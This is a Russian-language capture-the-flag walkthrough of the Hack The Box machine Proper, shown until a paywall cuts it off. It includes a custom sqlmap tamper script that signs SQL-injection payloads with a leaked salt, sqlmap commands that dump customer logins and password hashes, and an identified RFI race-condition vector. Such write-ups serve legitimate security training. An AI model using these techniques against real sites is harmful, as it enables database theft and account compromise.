В этой статье мы прой­дем машину Proper с Hack The Box. В про­цес­се я покажу, как получить учет­ные дан­ные к сай­ту через SQL-инъ­екцию, написав свой tamper к sqlmap. Далее экс­плу­ати­руем race condition через RFI, что­бы получить пер­воначаль­ный дос­туп к хос­ту. Завер­шим про­хож­дение повыше­нием при­виле­гий через исполь­зование име­нован­ных каналов ском­про­мети­рован­ной служ­бы.

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка

 

Сканирование портов

IP машины — 10.10.10.231, заносим его в /etc/hosts:

10.10.10.231 proper.htb

И ска­ниру­ем пор­ты.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Результат работы скрипта
Ре­зуль­тат работы скрип­та

По резуль­татам ска­ниро­вания име­ем все­го один откры­тый порт — 80, там откли­кает­ся веб‑сер­вер Microsoft IIS httpd 10.0.

Прис­тупа­ем к осмотру сай­та.

Главная страница сайта
Глав­ная стра­ница сай­та
 

Сканирование веб-контента

На самом сай­те зацепить­ся не за что, поэто­му вру­баем перебор катало­гов.

Справка: сканирование веб-сайта

Ска­ниро­вание сай­та методом перебо­ра катало­гов и фай­лов по сло­варю — это одно из пер­вых дей­ствий при пен­тесте веб‑при­ложе­ния. Для это­го обыч­но при­меня­ют dirsearch, DIRB или более быс­трый gobuster. Мы же в этой статье будем исполь­зовать встро­енные средс­тва Burp Suite.

Пе­рех­ватыва­ем зап­рос в Burp Proxy и в кон­текс­тном меню выбира­ем Engagement tools → Discover content. Ука­зыва­ем глу­бину ска­ниро­вания, инте­ресу­ющие нас рас­ширения фай­лов и бэкапов.

Настройки Burp Discover content
Нас­трой­ки Burp Discover content

Спус­тя нес­коль­ко минут (если ты, как и я, выб­рал 200 потоков для ска­ниро­вания) получим кар­ту сай­та, отталки­ваясь от которой будем опре­делять сле­дующий век­тор ата­ки.

Карта сайта proper.htb
Кар­та сай­та proper.htb

Я пос­мотрел все ком­мента­рии на всех стра­ницах (в кон­текс­тном меню Engagement tools → Find comments), но сно­ва ничего важ­ного. А вот файл products-ajax.php при­нима­ет какие‑то необыч­ные парамет­ры. Закинем этот зап­рос в Burp Repeater для тес­та. В таких слу­чаях сто­ит получить все воз­можные отве­ты от сер­вера при раз­ном количес­тве парамет­ров и даже их раз­ном зна­чении. Так, если уда­лить один из парамет­ров, то получа­ем ошиб­ку, содер­жащую соль. А если изме­нить зна­чение любого из парамет­ров, то нам сооб­щат об обна­руже­нии ата­ки.

Запрос без одного параметра
Зап­рос без одно­го парамет­ра
Запрос с измененным значением одного из параметров
Зап­рос с изме­нен­ным зна­чени­ем одно­го из парамет­ров

Так как исполь­зует­ся соль, параметр h, ско­рее все­го, хеш MD5 от зна­чения парамет­ра order. Если его изме­нить, это при­ведет к ошиб­ке, что под­твержда­ет нашу догад­ку. Что­бы это про­верить, нуж­но поп­робовать все воз­можные вари­анты хеширо­вания с исполь­зовани­ем соли. Их мож­но най­ти в справ­ке к прог­рамме John the Ripper.

john --list=subformats | grep md5
Варианты хеширования MD5 с использованием соли
Ва­риан­ты хеширо­вания MD5 с исполь­зовани­ем соли

Для опре­деле­ния алго­рит­ма нам нуж­но соз­дать сло­варь (word), содер­жащий стро­ку id desc, и файл с хешем и солью (hash), записан­ными через знак дол­лара: hash$salt. Затем переби­раем все воз­можные фор­маты. Что­бы сде­лать это быс­тро, напишем скрипт Bash, который будет пар­сить фор­мат из вывода справ­ки, а затем при­менять его в коман­де бру­та хеша.

Сна­чала уста­новим перенос стро­ки в качес­тве раз­делите­ля (IFS), а потом будем в цик­ле получать каж­дую стро­ку из справ­ки (перемен­ная entry). Для каж­дой такой стро­ки (нап­ример, Format = dynamic_29 type = dynamic_29: md5(utf16($p))) будем пар­сить фор­мат:

  1. Ко­ман­дой tr -d ' ' уда­ляем из стро­ки все про­белы (резуль­тат: Format=dynamic_29 type=dynamic_29:md5(utf16($p))).
  2. Ко­ман­дой cut -d '=' -f 3 раз­деля­ем стро­ку по сим­волу = и получа­ем третью часть (резуль­тат: dynamic_29:md5(utf16($p))).
  3. Ко­ман­дой cut -d ':' -f 1 раз­деля­ем стро­ку по сим­волу : и получа­ем пер­вую часть (резуль­тат: dynamic_29).

За­тем выпол­няем перебор по получен­ному алго­рит­му (john --format=$format --wordlist=word hash). Так выг­лядит пол­ный скрипт:

#!/bin/bash
IFS=$'
'
for entry in $(john --list=subformats | grep md5)
do
format="$(echo $entry | tr -d ' ' | cut -d '=' -f 3 | cut -d ':' -f 1)"
echo -e "\nFormat: $format ---------------------------------\n"
john --format=$format --wordlist=word hash
done
Результат перебора алгоритмов
Ре­зуль­тат перебо­ра алго­рит­мов

Для фор­мата dynamic_4 (salt + word) перебор закон­чился успешно. Так мы под­твержда­ем свое пред­положе­ние и получа­ем иско­мый алго­ритм хеширо­вания с исполь­зовани­ем соли.

Проверка алгоритма хеширования с использованием соли
Про­вер­ка алго­рит­ма хеширо­вания с исполь­зовани­ем соли
 

Точка входа

Те­перь мы можем манипу­лиро­вать зна­чени­ем парамет­ров так, что­бы они обра­баты­вались при­ложе­нием. Текст ошиб­ки натол­кнул меня на мысль, что мож­но было бы написать tamper для sqlmap, хотя мы пока так и не уста­нови­ли дос­товер­но, есть ли здесь воз­можность SQL-инъ­екции.

info

Тем­перы — это скрип­ты для sqlmap, которые пре­обра­зуют его зап­росы.

#!/usr/bin/env python
from hashlib import md5
from urllib.parse import quote_plus
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def tamper(payload, **kwargs):
'''
'''
h = md5(b"hie0shah6ooNoim" + payload.encode()).hexdigest()
return quote_plus(payload) + "&h=" + h

Этот файл (я наз­вал его sqlmap_tamper.py) нуж­но раз­местить в дирек­тории /usr/share/sqlmap/tamper, пос­ле чего запус­каем sqlmap и про­веря­ем, есть ли уяз­вимость. Нам нуж­но ука­зать наш тем­пер в парамет­ре tamper, задать опцию -p для про­вер­ки, а так­же то, что мы не хотим исполь­зовать кодиро­вание URL.

sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -p order --batch --skip-urlencode --tamper=sqlmap_tamper
Результат выполнения sqlmap
Ре­зуль­тат выпол­нения sqlmap

И мы попали в точ­ку: при­ложе­ние уяз­вимо к time-based SQL-инъ­екции, о чем нам и сооб­щил sqlmap. Эта чудо‑прог­рамма сох­ранила у себя шаб­лон наг­рузки для задан­ного URL, поэто­му мы можем спо­кой­но про­дол­жать работу и дос­тавать необ­ходимые дан­ные — к при­меру, наз­вания баз дан­ных (опция --dbs).

sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -p order --skip-urlencode --tamper=sqlmap_tamper --dbs
Получение имен баз данных с помощью sqlmap
По­луче­ние имен баз дан­ных с помощью sqlmap

Так мы получа­ем три базы дан­ных: слу­жеб­ная information_schema, тес­товая test и, ско­рее все­го, нуж­ная нам база дан­ных при­ложе­ния — cleaner. Получим все таб­лицы из базы опци­ей --tables, а саму базу ука­зыва­ем в парамет­ре -D.

sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -p order --skip-urlencode --tamper=sqlmap_tamper -D cleaner --tables
Получение таблиц в базе cleaner с помощью sqlmap
По­луче­ние таб­лиц в базе cleaner с помощью sqlmap

В базе есть три таб­лицы, и в одной из них дол­жны быть учет­ные дан­ные. Ско­рее все­го, нам подой­дет таб­лица customers. Получим наз­вания стол­бцов опци­ей --columns, ука­зав таб­лицу в парамет­ре -T.

sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -p order --skip-urlencode --tamper=sqlmap_tamper -D cleaner -T customers --columns
Получение столбцов в таблице customers с помощью sqlmap
По­луче­ние стол­бцов в таб­лице customers с помощью sqlmap

Дей­стви­тель­но, наш­лись учет­ные дан­ные! Давай получим зна­чения (опция --dump) из стол­бцов login и passwords. Стол­бцы ука­зыва­ем через запятую в парамет­ре -C.

sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -p order --skip-urlencode --tamper=sqlmap_tamper -D cleaner -T customers -C login,password --dump
Получение учетных данных
По­луче­ние учет­ных дан­ных

Из­вле­чение дан­ных про­исхо­дит очень дол­го, поэто­му поп­робу­ем взло­мать уже получен­ные хеши. Перебор с солью ни к чему не при­вел, поэто­му я поп­робовал взло­мать хеш без соли при помощи md5decrypt.net. Это дало резуль­тат!

Взломанные пароли пользователей
Взло­ман­ные пароли поль­зовате­лей
 

Точка опоры

Ав­торизу­емся с получен­ными учет­ными дан­ными на сай­те. Нам теперь откры­вают­ся допол­нитель­ные воз­можнос­ти, одна из них — сме­на цве­товой темы. При­чем инте­ресен сам спо­соб ее сме­ны: тема уста­нав­лива­ется через переда­чу GET-парамет­ра theme.

Страница сайта для авторизованных пользователей
Стра­ница сай­та для авто­ризо­ван­ных поль­зовате­лей

Сто­ит про­тес­тировать GET-парамет­ры так же, как и в прош­лый раз. Если мы изме­ним или уда­лим один из них, то нам сооб­щат об обна­руже­нии ата­ки. Но раз мы зна­ем, как осу­щест­вля­ется под­пись, давай ука­жем зна­чение, которое будет обра­бота­но сер­вером, к при­меру test.

Создание подписи первого параметра
Соз­дание под­писи пер­вого парамет­ра
Ошибка при передаче значения test
Ошиб­ка при переда­че зна­чения test
 

Уязвимость RFI

Как мы видим из тек­ста ошиб­ки, из ука­зан­ной нами дирек­тории под­клю­чает­ся файл header.inc (стро­ка 12) с помощью фун­кции file_get_contents, и если в фай­ле отсутс­тву­ет пос­ледова­тель­ность сим­волов <? (стро­ка 18), то он добав­ляет­ся как include (стро­ка 19).

Та­ким обра­зом, обра­щение к фай­лу про­исхо­дит дваж­ды, а это озна­чает уяз­вимость к ата­ке типа race condition: перед про­вер­кой и вклю­чени­ем фай­ла его содер­жимое воз­можно изме­нить.

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


Подписаться
Уведомить о
0 комментариев
Межтекстовые Отзывы
Посмотреть все комментарии